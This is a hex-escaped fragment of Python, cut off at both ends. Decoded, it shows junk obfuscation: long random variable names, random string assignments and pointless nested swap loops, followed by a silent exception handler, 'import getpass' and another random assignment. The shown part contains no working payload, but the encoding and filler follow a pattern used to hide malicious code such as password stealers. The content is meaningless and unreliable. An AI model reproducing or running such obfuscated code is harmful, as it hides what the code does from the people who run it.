\x45\x71\x4a\x45\x45\x4a\x6c\x77\x6c\x76\x46\x79\x4f\x78\x75\x70\x49\x42\x52\x45\x79\x52\x54\x7a\x6f\x53\x72\x4f\x7a\x43\x6c\x46\x7a\x54\x6c\x42\x46\x4e\x42\x50\x46\x48\x76\x44\x48\x70\x43\x68\x55\x76\x4b\x44\x44\x52\x27\x0a\x20\x20\x20\x20\x47\x42\x43\x53\x6f\x48\x47\x6a\x6c\x4b\x42\x46\x42\x49\x50\x56\x51\x53\x47\x46\x47\x79\x76\x4a\x42\x45\x4f\x4a\x53\x48\x4a\x44\x48\x52\x63\x43\x45\x44\x49\x49\x44\x4a\x55\x54\x6a\x76\x41\x76\x4c\x5a\x49\x79\x77\x77\x77\x52\x43\x45\x78\x74\x5a\x47\x53\x47\x45\x48\x75\x52\x47\x4d\x51\x75\x79\x43\x4a\x41\x47\x4f\x4d\x70\x45\x7a\x49\x43\x79\x47\x49\x50\x45\x46\x79\x41\x41\x48\x53\x73\x67\x4d\x76\x46\x76\x42\x53\x44\x75\x45\x6c\x6d\x50\x41\x79\x47\x78\x45\x79\x71\x41\x49\x79\x52\x54\x56\x47\x48\x54\x44\x55\x20\x3d\x20\x27\x50\x6f\x41\x52\x78\x4f\x49\x49\x6b\x41\x6e\x75\x7a\x43\x4a\x79\x78\x50\x45\x74\x6c\x48\x79\x76\x4a\x53\x75\x78\x49\x48\x52\x47\x44\x79\x42\x4a\x6c\x4f\x5a\x4e\x74\x76\x4a\x6c\x5a\x6f\x49\x71\x4e\x76\x66\x79\x45\x54\x42\x6d\x42\x51\x6f\x74\x49\x50\x76\x51\x6f\x4c\x48\x72\x6f\x48\x6d\x6d\x45\x78\x74\x75\x43\x67\x52\x72\x48\x56\x52\x55\x42\x41\x6c\x49\x52\x67\x53\x49\x4a\x45\x55\x53\x41\x7a\x55\x73\x6e\x47\x49\x52\x50\x53\x73\x59\x6d\x4b\x49\x51\x51\x41\x4d\x44\x74\x6d\x61\x74\x72\x77\x69\x46\x54\x51\x45\x27\x0a\x20\x20\x20\x20\x72\x48\x51\x79\x42\x73\x41\x45\x6d\x51\x45\x79\x45\x49\x44\x4a\x69\x75\x48\x69\x6f\x55\x73\x62\x44\x48\x44\x74\x53\x41\x7a\x4b\x51\x4d\x51\x52\x4e\x52\x57\x78\x41\x45\x53\x4b\x67\x55\x51\x72\x43\x4a\x44\x67\x46\x44\x6a\x43\x78\x77\x53\x43\x74\x4a\x69\x49\x74\x72\x41\x47\x50\x44\x54\x78\x4a\x51\x79\x6a\x71\x52\x49\x6f\x75\x48\x50\x4c\x74\x4e\x47\x7a\x74\x4e\x51\x55\x48\x47\x7a\x4d\x48\x79\x43\x44\x52\x42\x45\x42\x71\x51\x65\x76\x59\x51\x46\x79\x50\x48\x69\x77\x66\x4a\x64\x51\x6e\x77\x79\x47\x72\x6b\x20\x3d\x20\x27\x52\x6c\x41\x57\x49\x45\x74\x47\x73\x57\x4f\x44\x45\x77\x76\x75\x56\x42\x77\x52\x50\x75\x48\x50\x71\x75\x44\x46\x4d\x52\x58\x79\x50\x76\x5a\x43\x49\x79\x74\x78\x44\x76\x52\x42\x72\x50\x49\x74\x43\x47\x43\x44\x51\x6d\x53\x6d\x45\x74\x76\x41\x45\x41\x4e\x44\x51\x71\x44\x4d\x74\x51\x49\x44\x66\x53\x48\x55\x51\x47\x79\x71\x42\x70\x48\x7a\x6a\x4a\x46\x48\x44\x42\x42\x55\x43\x53\x73\x49\x79\x4a\x74\x4a\x72\x73\x47\x6e\x47\x7a\x78\x47\x6c\x4a\x78\x76\x45\x71\x4f\x77\x52\x51\x79\x47\x79\x6c\x78\x6d\x71\x6f\x48\x27\x0a\x20\x20\x20\x20\x76\x68\x75\x6f\x4c\x44\x49\x69\x4e\x63\x72\x51\x45\x42\x69\x6c\x44\x4d\x6f\x49\x76\x6d\x49\x75\x46\x77\x43\x6e\x47\x42\x59\x49\x71\x42\x4a\x45\x44\x6f\x69\x46\x53\x6d\x76\x53\x52\x71\x71\x6f\x74\x74\x4a\x43\x41\x43\x46\x75\x58\x47\x51\x50\x4a\x72\x77\x7a\x44\x73\x6e\x70\x47\x79\x70\x43\x46\x45\x57\x45\x77\x4a\x50\x42\x47\x4f\x4a\x77\x6d\x68\x7a\x52\x76\x59\x50\x50\x55\x53\x42\x45\x41\x41\x49\x48\x4d\x44\x70\x72\x6a\x52\x72\x77\x48\x65\x49\x49\x79\x6e\x43\x79\x49\x52\x49\x4f\x79\x52\x52\x79\x51\x49\x20\x3d\x20\x27\x58\x6d\x49\x67\x44\x46\x7a\x53\x75\x4e\x44\x61\x76\x41\x45\x48\x4d\x76\x6e\x76\x7a\x47\x41\x45\x52\x47\x6a\x42\x46\x49\x41\x74\x51\x76\x48\x61\x77\x76\x48\x4d\x58\x48\x45\x79\x52\x50\x44\x6e\x66\x44\x4a\x6e\x48\x59\x53\x41\x6d\x6a\x43\x43\x44\x48\x72\x6b\x4a\x4a\x73\x42\x65\x79\x47\x6e\x43\x54\x70\x50\x75\x44\x47\x48\x53\x51\x45\x48\x50\x76\x4f\x78\x76\x67\x73\x4d\x48\x49\x41\x78\x41\x6b\x74\x53\x41\x74\x4e\x6a\x77\x50\x73\x46\x41\x46\x75\x73\x69\x76\x43\x4e\x52\x4d\x48\x41\x52\x41\x50\x49\x52\x71\x7a\x27\x0a\x20\x20\x20\x20\x47\x49\x74\x49\x4f\x6b\x46\x4a\x53\x75\x48\x49\x4d\x72\x73\x48\x73\x73\x43\x4d\x4f\x52\x52\x71\x41\x44\x6c\x6a\x44\x48\x4c\x4d\x6f\x7a\x53\x50\x79\x52\x53\x43\x44\x50\x77\x5a\x4a\x74\x76\x75\x79\x48\x49\x43\x6b\x45\x5a\x7a\x6f\x51\x4f\x55\x51\x62\x73\x77\x51\x50\x43\x41\x46\x47\x48\x57\x48\x6e\x74\x45\x56\x52\x7a\x51\x41\x44\x70\x77\x50\x69\x46\x53\x6b\x53\x4c\x6c\x53\x6b\x75\x72\x46\x43\x45\x49\x74\x52\x45\x4d\x76\x55\x7a\x78\x49\x78\x41\x55\x43\x6b\x69\x48\x46\x4f\x61\x73\x69\x7a\x54\x75\x49\x4a\x71\x20\x3d\x20\x27\x78\x68\x77\x51\x55\x55\x45\x47\x77\x42\x4f\x79\x55\x53\x41\x55\x53\x72\x77\x73\x6f\x53\x51\x77\x51\x47\x79\x45\x48\x70\x70\x56\x50\x79\x45\x79\x52\x41\x77\x45\x79\x47\x53\x50\x78\x74\x4e\x52\x59\x48\x46\x66\x4f\x4a\x76\x4a\x75\x76\x7a\x7a\x6e\x42\x46\x42\x45\x6a\x70\x71\x48\x44\x6b\x45\x43\x7a\x53\x4a\x48\x52\x48\x44\x44\x4a\x52\x78\x75\x47\x77\x79\x53\x75\x48\x45\x76\x48\x45\x7a\x43\x50\x48\x56\x77\x75\x43\x42\x6c\x4c\x68\x72\x49\x7a\x79\x73\x69\x79\x48\x52\x42\x79\x53\x77\x70\x46\x52\x44\x5a\x49\x5a\x27\x0a\x20\x20\x20\x20\x43\x47\x6c\x6e\x41\x48\x75\x45\x52\x73\x6e\x44\x4a\x4a\x49\x52\x45\x75\x46\x72\x49\x4d\x56\x47\x78\x6c\x71\x43\x76\x4a\x4a\x49\x51\x45\x50\x6e\x53\x73\x43\x50\x51\x72\x67\x42\x6c\x70\x57\x74\x77\x72\x44\x4a\x6d\x55\x6d\x75\x75\x76\x50\x7a\x42\x79\x49\x51\x6b\x77\x43\x6f\x76\x7a\x48\x50\x4c\x43\x71\x59\x73\x79\x45\x50\x77\x54\x41\x44\x44\x49\x73\x4a\x4e\x76\x79\x52\x65\x48\x6d\x58\x55\x4c\x45\x42\x52\x51\x71\x44\x78\x52\x45\x41\x43\x44\x45\x76\x41\x47\x4f\x46\x55\x73\x7a\x4a\x49\x43\x7a\x7a\x6f\x7a\x42\x20\x3d\x20\x5b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x52\x6d\x48\x41\x74\x53\x76\x47\x49\x75\x46\x76\x69\x6e\x6e\x74\x41\x5a\x4a\x42\x42\x52\x4c\x50\x53\x43\x48\x75\x46\x4a\x76\x78\x51\x6e\x69\x73\x75\x7a\x6f\x52\x43\x48\x51\x4a\x77\x75\x45\x6a\x4d\x53\x43\x5a\x41\x78\x50\x6a\x52\x76\x49\x78\x4d\x54\x43\x51\x41\x54\x74\x55\x52\x4a\x42\x47\x46\x76\x6c\x52\x4a\x52\x42\x47\x47\x4f\x45\x41\x44\x4e\x42\x6f\x46\x4d\x56\x50\x72\x48\x50\x4e\x41\x6d\x4f\x41\x42\x79\x6b\x49\x67\x73\x47\x75\x46\x78\x74\x53\x69\x73\x74\x46\x49\x45\x49\x73\x79\x50\x6c\x4e\x6b\x4f\x43\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x50\x6f\x41\x52\x78\x4f\x49\x49\x6b\x41\x6e\x75\x7a\x43\x4a\x79\x78\x50\x45\x74\x6c\x48\x79\x76\x4a\x53\x75\x78\x49\x48\x52\x47\x44\x79\x42\x4a\x6c\x4f\x5a\x4e\x74\x76\x4a\x6c\x5a\x6f\x49\x71\x4e\x76\x66\x79\x45\x54\x42\x6d\x42\x51\x6f\x74\x49\x50\x76\x51\x6f\x4c\x48\x72\x6f\x48\x6d\x6d\x45\x78\x74\x75\x43\x67\x52\x72\x48\x56\x52\x55\x42\x41\x6c\x49\x52\x67\x53\x49\x4a\x45\x55\x53\x41\x7a\x55\x73\x6e\x47\x49\x52\x50\x53\x73\x59\x6d\x4b\x49\x51\x51\x41\x4d\x44\x74\x6d\x61\x74\x72\x77\x69\x46\x54\x51\x45\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x58\x6d\x49\x67\x44\x46\x7a\x53\x75\x4e\x44\x61\x76\x41\x45\x48\x4d\x76\x6e\x76\x7a\x47\x41\x45\x52\x47\x6a\x42\x46\x49\x41\x74\x51\x76\x48\x61\x77\x76\x48\x4d\x58\x48\x45\x79\x52\x50\x44\x6e\x66\x44\x4a\x6e\x48\x59\x53\x41\x6d\x6a\x43\x43\x44\x48\x72\x6b\x4a\x4a\x73\x42\x65\x79\x47\x6e\x43\x54\x70\x50\x75\x44\x47\x48\x53\x51\x45\x48\x50\x76\x4f\x78\x76\x67\x73\x4d\x48\x49\x41\x78\x41\x6b\x74\x53\x41\x74\x4e\x6a\x77\x50\x73\x46\x41\x46\x75\x73\x69\x76\x43\x4e\x52\x4d\x48\x41\x52\x41\x50\x49\x52\x71\x7a\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x54\x72\x51\x53\x41\x44\x6f\x53\x43\x4d\x41\x49\x50\x51\x41\x51\x67\x41\x75\x48\x4a\x51\x42\x77\x42\x79\x44\x6a\x43\x43\x46\x50\x78\x43\x44\x48\x59\x6e\x69\x49\x44\x49\x74\x79\x6c\x7a\x50\x42\x48\x4f\x46\x47\x74\x51\x70\x6b\x61\x6a\x46\x43\x51\x7a\x6e\x6c\x69\x44\x43\x78\x6f\x50\x42\x71\x71\x47\x42\x47\x4c\x44\x45\x46\x41\x54\x47\x48\x50\x76\x70\x49\x6e\x48\x4f\x71\x79\x49\x74\x6f\x4a\x42\x4f\x50\x6a\x41\x46\x73\x50\x47\x79\x49\x77\x50\x49\x76\x4b\x66\x72\x69\x71\x7a\x79\x53\x45\x53\x4f\x43\x44\x78\x7a\x27\x0a\x20\x20\x20\x20\x5d\x0a\x20\x20\x20\x20\x66\x6f\x72\x20\x70\x52\x4f\x47\x71\x43\x42\x78\x41\x74\x72\x75\x51\x65\x6b\x76\x6d\x76\x45\x49\x75\x48\x47\x4a\x49\x51\x46\x45\x45\x53\x6e\x50\x6e\x56\x69\x72\x72\x74\x47\x44\x59\x48\x4c\x76\x41\x44\x47\x6b\x4f\x79\x49\x47\x71\x75\x53\x7a\x45\x46\x47\x5a\x45\x6e\x47\x72\x44\x55\x43\x41\x45\x46\x7a\x48\x6e\x76\x4f\x56\x48\x41\x74\x68\x47\x72\x72\x74\x66\x47\x48\x71\x44\x45\x66\x7a\x70\x65\x4a\x6a\x44\x6d\x73\x7a\x69\x55\x71\x73\x49\x6c\x74\x46\x6c\x44\x48\x53\x47\x70\x41\x52\x4e\x71\x44\x48\x65\x71\x78\x52\x6a\x53\x41\x20\x69\x6e\x20\x47\x49\x74\x49\x4f\x6b\x46\x4a\x53\x75\x48\x49\x4d\x72\x73\x48\x73\x73\x43\x4d\x4f\x52\x52\x71\x41\x44\x6c\x6a\x44\x48\x4c\x4d\x6f\x7a\x53\x50\x79\x52\x53\x43\x44\x50\x77\x5a\x4a\x74\x76\x75\x79\x48\x49\x43\x6b\x45\x5a\x7a\x6f\x51\x4f\x55\x51\x62\x73\x77\x51\x50\x43\x41\x46\x47\x48\x57\x48\x6e\x74\x45\x56\x52\x7a\x51\x41\x44\x70\x77\x50\x69\x46\x53\x6b\x53\x4c\x6c\x53\x6b\x75\x72\x46\x43\x45\x49\x74\x52\x45\x4d\x76\x55\x7a\x78\x49\x78\x41\x55\x43\x6b\x69\x48\x46\x4f\x61\x73\x69\x7a\x54\x75\x49\x4a\x71\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x77\x7a\x72\x55\x72\x79\x51\x47\x58\x44\x61\x6d\x50\x77\x50\x47\x70\x4a\x69\x48\x67\x4d\x71\x75\x4a\x76\x45\x50\x6f\x75\x58\x76\x6f\x6c\x50\x47\x70\x48\x54\x6c\x53\x44\x71\x4a\x78\x44\x4f\x78\x63\x71\x52\x48\x52\x49\x6a\x45\x74\x4a\x49\x45\x49\x44\x58\x4e\x43\x79\x5a\x6f\x43\x77\x69\x74\x53\x74\x72\x49\x41\x41\x53\x46\x75\x4f\x48\x77\x78\x48\x4d\x4e\x73\x50\x78\x6b\x59\x79\x46\x46\x4a\x52\x54\x47\x65\x76\x64\x78\x42\x6f\x4d\x78\x47\x43\x75\x46\x76\x71\x75\x77\x66\x74\x44\x46\x53\x4a\x69\x52\x42\x70\x6f\x20\x69\x6e\x20\x47\x42\x43\x53\x6f\x48\x47\x6a\x6c\x4b\x42\x46\x42\x49\x50\x56\x51\x53\x47\x46\x47\x79\x76\x4a\x42\x45\x4f\x4a\x53\x48\x4a\x44\x48\x52\x63\x43\x45\x44\x49\x49\x44\x4a\x55\x54\x6a\x76\x41\x76\x4c\x5a\x49\x79\x77\x77\x77\x52\x43\x45\x78\x74\x5a\x47\x53\x47\x45\x48\x75\x52\x47\x4d\x51\x75\x79\x43\x4a\x41\x47\x4f\x4d\x70\x45\x7a\x49\x43\x79\x47\x49\x50\x45\x46\x79\x41\x41\x48\x53\x73\x67\x4d\x76\x46\x76\x42\x53\x44\x75\x45\x6c\x6d\x50\x41\x79\x47\x78\x45\x79\x71\x41\x49\x79\x52\x54\x56\x47\x48\x54\x44\x55\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x72\x48\x51\x79\x42\x73\x41\x45\x6d\x51\x45\x79\x45\x49\x44\x4a\x69\x75\x48\x69\x6f\x55\x73\x62\x44\x48\x44\x74\x53\x41\x7a\x4b\x51\x4d\x51\x52\x4e\x52\x57\x78\x41\x45\x53\x4b\x67\x55\x51\x72\x43\x4a\x44\x67\x46\x44\x6a\x43\x78\x77\x53\x43\x74\x4a\x69\x49\x74\x72\x41\x47\x50\x44\x54\x78\x4a\x51\x79\x6a\x71\x52\x49\x6f\x75\x48\x50\x4c\x74\x4e\x47\x7a\x74\x4e\x51\x55\x48\x47\x7a\x4d\x48\x79\x43\x44\x52\x42\x45\x42\x71\x51\x65\x76\x59\x51\x46\x79\x50\x48\x69\x77\x66\x4a\x64\x51\x6e\x77\x79\x47\x72\x6b\x20\x3d\x3d\x20\x76\x68\x75\x6f\x4c\x44\x49\x69\x4e\x63\x72\x51\x45\x42\x69\x6c\x44\x4d\x6f\x49\x76\x6d\x49\x75\x46\x77\x43\x6e\x47\x42\x59\x49\x71\x42\x4a\x45\x44\x6f\x69\x46\x53\x6d\x76\x53\x52\x71\x71\x6f\x74\x74\x4a\x43\x41\x43\x46\x75\x58\x47\x51\x50\x4a\x72\x77\x7a\x44\x73\x6e\x70\x47\x79\x70\x43\x46\x45\x57\x45\x77\x4a\x50\x42\x47\x4f\x4a\x77\x6d\x68\x7a\x52\x76\x59\x50\x50\x55\x53\x42\x45\x41\x41\x49\x48\x4d\x44\x70\x72\x6a\x52\x72\x77\x48\x65\x49\x49\x79\x6e\x43\x79\x49\x52\x49\x4f\x79\x52\x52\x79\x51\x49\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x77\x7a\x72\x55\x72\x79\x51\x47\x58\x44\x61\x6d\x50\x77\x50\x47\x70\x4a\x69\x48\x67\x4d\x71\x75\x4a\x76\x45\x50\x6f\x75\x58\x76\x6f\x6c\x50\x47\x70\x48\x54\x6c\x53\x44\x71\x4a\x78\x44\x4f\x78\x63\x71\x52\x48\x52\x49\x6a\x45\x74\x4a\x49\x45\x49\x44\x58\x4e\x43\x79\x5a\x6f\x43\x77\x69\x74\x53\x74\x72\x49\x41\x41\x53\x46\x75\x4f\x48\x77\x78\x48\x4d\x4e\x73\x50\x78\x6b\x59\x79\x46\x46\x4a\x52\x54\x47\x65\x76\x64\x78\x42\x6f\x4d\x78\x47\x43\x75\x46\x76\x71\x75\x77\x66\x74\x44\x46\x53\x4a\x69\x52\x42\x70\x6f\x20\x3d\x20\x70\x52\x4f\x47\x71\x43\x42\x78\x41\x74\x72\x75\x51\x65\x6b\x76\x6d\x76\x45\x49\x75\x48\x47\x4a\x49\x51\x46\x45\x45\x53\x6e\x50\x6e\x56\x69\x72\x72\x74\x47\x44\x59\x48\x4c\x76\x41\x44\x47\x6b\x4f\x79\x49\x47\x71\x75\x53\x7a\x45\x46\x47\x5a\x45\x6e\x47\x72\x44\x55\x43\x41\x45\x46\x7a\x48\x6e\x76\x4f\x56\x48\x41\x74\x68\x47\x72\x72\x74\x66\x47\x48\x71\x44\x45\x66\x7a\x70\x65\x4a\x6a\x44\x6d\x73\x7a\x69\x55\x71\x73\x49\x6c\x74\x46\x6c\x44\x48\x53\x47\x70\x41\x52\x4e\x71\x44\x48\x65\x71\x78\x52\x6a\x53\x41\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x69\x66\x20\x76\x68\x75\x6f\x4c\x44\x49\x69\x4e\x63\x72\x51\x45\x42\x69\x6c\x44\x4d\x6f\x49\x76\x6d\x49\x75\x46\x77\x43\x6e\x47\x42\x59\x49\x71\x42\x4a\x45\x44\x6f\x69\x46\x53\x6d\x76\x53\x52\x71\x71\x6f\x74\x74\x4a\x43\x41\x43\x46\x75\x58\x47\x51\x50\x4a\x72\x77\x7a\x44\x73\x6e\x70\x47\x79\x70\x43\x46\x45\x57\x45\x77\x4a\x50\x42\x47\x4f\x4a\x77\x6d\x68\x7a\x52\x76\x59\x50\x50\x55\x53\x42\x45\x41\x41\x49\x48\x4d\x44\x70\x72\x6a\x52\x72\x77\x48\x65\x49\x49\x79\x6e\x43\x79\x49\x52\x49\x4f\x79\x52\x52\x79\x51\x49\x20\x3d\x3d\x20\x77\x7a\x72\x55\x72\x79\x51\x47\x58\x44\x61\x6d\x50\x77\x50\x47\x70\x4a\x69\x48\x67\x4d\x71\x75\x4a\x76\x45\x50\x6f\x75\x58\x76\x6f\x6c\x50\x47\x70\x48\x54\x6c\x53\x44\x71\x4a\x78\x44\x4f\x78\x63\x71\x52\x48\x52\x49\x6a\x45\x74\x4a\x49\x45\x49\x44\x58\x4e\x43\x79\x5a\x6f\x43\x77\x69\x74\x53\x74\x72\x49\x41\x41\x53\x46\x75\x4f\x48\x77\x78\x48\x4d\x4e\x73\x50\x78\x6b\x59\x79\x46\x46\x4a\x52\x54\x47\x65\x76\x64\x78\x42\x6f\x4d\x78\x47\x43\x75\x46\x76\x71\x75\x77\x66\x74\x44\x46\x53\x4a\x69\x52\x42\x70\x6f\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x77\x7a\x72\x55\x72\x79\x51\x47\x58\x44\x61\x6d\x50\x77\x50\x47\x70\x4a\x69\x48\x67\x4d\x71\x75\x4a\x76\x45\x50\x6f\x75\x58\x76\x6f\x6c\x50\x47\x70\x48\x54\x6c\x53\x44\x71\x4a\x78\x44\x4f\x78\x63\x71\x52\x48\x52\x49\x6a\x45\x74\x4a\x49\x45\x49\x44\x58\x4e\x43\x79\x5a\x6f\x43\x77\x69\x74\x53\x74\x72\x49\x41\x41\x53\x46\x75\x4f\x48\x77\x78\x48\x4d\x4e\x73\x50\x78\x6b\x59\x79\x46\x46\x4a\x52\x54\x47\x65\x76\x64\x78\x42\x6f\x4d\x78\x47\x43\x75\x46\x76\x71\x75\x77\x66\x74\x44\x46\x53\x4a\x69\x52\x42\x70\x6f\x20\x3d\x20\x47\x49\x74\x49\x4f\x6b\x46\x4a\x53\x75\x48\x49\x4d\x72\x73\x48\x73\x73\x43\x4d\x4f\x52\x52\x71\x41\x44\x6c\x6a\x44\x48\x4c\x4d\x6f\x7a\x53\x50\x79\x52\x53\x43\x44\x50\x77\x5a\x4a\x74\x76\x75\x79\x48\x49\x43\x6b\x45\x5a\x7a\x6f\x51\x4f\x55\x51\x62\x73\x77\x51\x50\x43\x41\x46\x47\x48\x57\x48\x6e\x74\x45\x56\x52\x7a\x51\x41\x44\x70\x77\x50\x69\x46\x53\x6b\x53\x4c\x6c\x53\x6b\x75\x72\x46\x43\x45\x49\x74\x52\x45\x4d\x76\x55\x7a\x78\x49\x78\x41\x55\x43\x6b\x69\x48\x46\x4f\x61\x73\x69\x7a\x54\x75\x49\x4a\x71\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x76\x68\x75\x6f\x4c\x44\x49\x69\x4e\x63\x72\x51\x45\x42\x69\x6c\x44\x4d\x6f\x49\x76\x6d\x49\x75\x46\x77\x43\x6e\x47\x42\x59\x49\x71\x42\x4a\x45\x44\x6f\x69\x46\x53\x6d\x76\x53\x52\x71\x71\x6f\x74\x74\x4a\x43\x41\x43\x46\x75\x58\x47\x51\x50\x4a\x72\x77\x7a\x44\x73\x6e\x70\x47\x79\x70\x43\x46\x45\x57\x45\x77\x4a\x50\x42\x47\x4f\x4a\x77\x6d\x68\x7a\x52\x76\x59\x50\x50\x55\x53\x42\x45\x41\x41\x49\x48\x4d\x44\x70\x72\x6a\x52\x72\x77\x48\x65\x49\x49\x79\x6e\x43\x79\x49\x52\x49\x4f\x79\x52\x52\x79\x51\x49\x20\x3d\x20\x47\x49\x74\x49\x4f\x6b\x46\x4a\x53\x75\x48\x49\x4d\x72\x73\x48\x73\x73\x43\x4d\x4f\x52\x52\x71\x41\x44\x6c\x6a\x44\x48\x4c\x4d\x6f\x7a\x53\x50\x79\x52\x53\x43\x44\x50\x77\x5a\x4a\x74\x76\x75\x79\x48\x49\x43\x6b\x45\x5a\x7a\x6f\x51\x4f\x55\x51\x62\x73\x77\x51\x50\x43\x41\x46\x47\x48\x57\x48\x6e\x74\x45\x56\x52\x7a\x51\x41\x44\x70\x77\x50\x69\x46\x53\x6b\x53\x4c\x6c\x53\x6b\x75\x72\x46\x43\x45\x49\x74\x52\x45\x4d\x76\x55\x7a\x78\x49\x78\x41\x55\x43\x6b\x69\x48\x46\x4f\x61\x73\x69\x7a\x54\x75\x49\x4a\x71\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x77\x7a\x72\x55\x72\x79\x51\x47\x58\x44\x61\x6d\x50\x77\x50\x47\x70\x4a\x69\x48\x67\x4d\x71\x75\x4a\x76\x45\x50\x6f\x75\x58\x76\x6f\x6c\x50\x47\x70\x48\x54\x6c\x53\x44\x71\x4a\x78\x44\x4f\x78\x63\x71\x52\x48\x52\x49\x6a\x45\x74\x4a\x49\x45\x49\x44\x58\x4e\x43\x79\x5a\x6f\x43\x77\x69\x74\x53\x74\x72\x49\x41\x41\x53\x46\x75\x4f\x48\x77\x78\x48\x4d\x4e\x73\x50\x78\x6b\x59\x79\x46\x46\x4a\x52\x54\x47\x65\x76\x64\x78\x42\x6f\x4d\x78\x47\x43\x75\x46\x76\x71\x75\x77\x66\x74\x44\x46\x53\x4a\x69\x52\x42\x70\x6f\x20\x69\x6e\x20\x43\x47\x6c\x6e\x41\x48\x75\x45\x52\x73\x6e\x44\x4a\x4a\x49\x52\x45\x75\x46\x72\x49\x4d\x56\x47\x78\x6c\x71\x43\x76\x4a\x4a\x49\x51\x45\x50\x6e\x53\x73\x43\x50\x51\x72\x67\x42\x6c\x70\x57\x74\x77\x72\x44\x4a\x6d\x55\x6d\x75\x75\x76\x50\x7a\x42\x79\x49\x51\x6b\x77\x43\x6f\x76\x7a\x48\x50\x4c\x43\x71\x59\x73\x79\x45\x50\x77\x54\x41\x44\x44\x49\x73\x4a\x4e\x76\x79\x52\x65\x48\x6d\x58\x55\x4c\x45\x42\x52\x51\x71\x44\x78\x52\x45\x41\x43\x44\x45\x76\x41\x47\x4f\x46\x55\x73\x7a\x4a\x49\x43\x7a\x7a\x6f\x7a\x42\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x47\x42\x43\x53\x6f\x48\x47\x6a\x6c\x4b\x42\x46\x42\x49\x50\x56\x51\x53\x47\x46\x47\x79\x76\x4a\x42\x45\x4f\x4a\x53\x48\x4a\x44\x48\x52\x63\x43\x45\x44\x49\x49\x44\x4a\x55\x54\x6a\x76\x41\x76\x4c\x5a\x49\x79\x77\x77\x77\x52\x43\x45\x78\x74\x5a\x47\x53\x47\x45\x48\x75\x52\x47\x4d\x51\x75\x79\x43\x4a\x41\x47\x4f\x4d\x70\x45\x7a\x49\x43\x79\x47\x49\x50\x45\x46\x79\x41\x41\x48\x53\x73\x67\x4d\x76\x46\x76\x42\x53\x44\x75\x45\x6c\x6d\x50\x41\x79\x47\x78\x45\x79\x71\x41\x49\x79\x52\x54\x56\x47\x48\x54\x44\x55\x20\x3d\x20\x77\x7a\x72\x55\x72\x79\x51\x47\x58\x44\x61\x6d\x50\x77\x50\x47\x70\x4a\x69\x48\x67\x4d\x71\x75\x4a\x76\x45\x50\x6f\x75\x58\x76\x6f\x6c\x50\x47\x70\x48\x54\x6c\x53\x44\x71\x4a\x78\x44\x4f\x78\x63\x71\x52\x48\x52\x49\x6a\x45\x74\x4a\x49\x45\x49\x44\x58\x4e\x43\x79\x5a\x6f\x43\x77\x69\x74\x53\x74\x72\x49\x41\x41\x53\x46\x75\x4f\x48\x77\x78\x48\x4d\x4e\x73\x50\x78\x6b\x59\x79\x46\x46\x4a\x52\x54\x47\x65\x76\x64\x78\x42\x6f\x4d\x78\x47\x43\x75\x46\x76\x71\x75\x77\x66\x74\x44\x46\x53\x4a\x69\x52\x42\x70\x6f\x0a\x65\x78\x63\x65\x70\x74\x20\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3a\x0a\x20\x20\x20\x20\x70\x61\x73\x73\x0a\x69\x6d\x70\x6f\x72\x74\x20\x67\x65\x74\x70\x61\x73\x73\x0a\x0a\x74\x72\x79\x3a\x0a\x20\x20\x20\x20\x73\x71\x6a\x53\x47\x72\x41\x43\x41\x43\x41\x43\x4f\x42\x66\x69\x46\x45\x66\x44\x76\x49\x43\x73\x77\x4c\x46\x50\x78\x6f\x41\x76\x73\x78\x43\x4a\x71\x56\x42\x72\x73\x72\x4f\x52\x52\x56\x42\x76\x52\x49\x47\x49\x52\x6c\x43\x54\x4f\x48\x54\x53\x4f\x45\x4e\x53\x6b\x74\x6a\x51\x48\x43\x50\x79\x45\x4f\x49\x78\x73\x4e\x61\x45\x44\x75\x44\x51\x48\x6c\x48\x77\x77\x43\x6c\x41\x52\x47\x67\x41\x74\x46\x52\x7a\x5a\x42\x44\x49\x70\x45\x57\x77\x48\x58\x45\x6f\x77\x43\x4e\x73\x68\x4a\x48\x77\x79\x46\x45\x76\x4b\x53\x70\x20\x3d\x20\x27\x67\x41\x47\x45\x51\x76\x56\x73\x51\x76\x50\x75\x79\x4f\x72\x45\x46\x54\x7a\x68\x67\x51\x76\x7a\x44\x42\x75\x66\x6d\x77\x78\x51\x57\x51\x43\x42\x79\x78\x6b\x44\x41\x50\x79\x6f\x76\x74\x43\x4a\x74\x57\x44\x49\x4a\x4a\x52\x51\x48\x6d\x78\x74\x52\x71\x44\x47\x43\x48\x78\x4f\x4e\x72\x43\x49\x72\x71\x79\x41\x6a\x48\x48\x42\x6d\x45\x73\x52\x51\x46\x4e\x4a\x46\x4f\x50\x51\x76\x4b\x49\x6c\x47\x51\x51\x75\x74\x49\x47\x52\x47\x74\x47\x52\x72\x54\x6b\x4e\x46\x4a\x4d\x53\x44\x77\x79\x6f\x43\x78\x46\x46\x74\x73\x68\x27\x0a\x20\x20\x20\x20\x51\x7a\x7a\x46\x77\x46\x6a\x49\x47\x4a\x50\x70\x45\x52\x72\x48\x5a\x79\x69\x44\x76\x7a\x52\x55\x43\x73\x76\x42\x7a\x71\x44\x55\x52\x46\x55\x41\x4e\x6e\x47\x46\x72\x48\x7a\x7a\x6d\x53\x50\x55\x45\x73\x76\x41\x72\x77\x53\x4e\x75\x78\x44\x53\x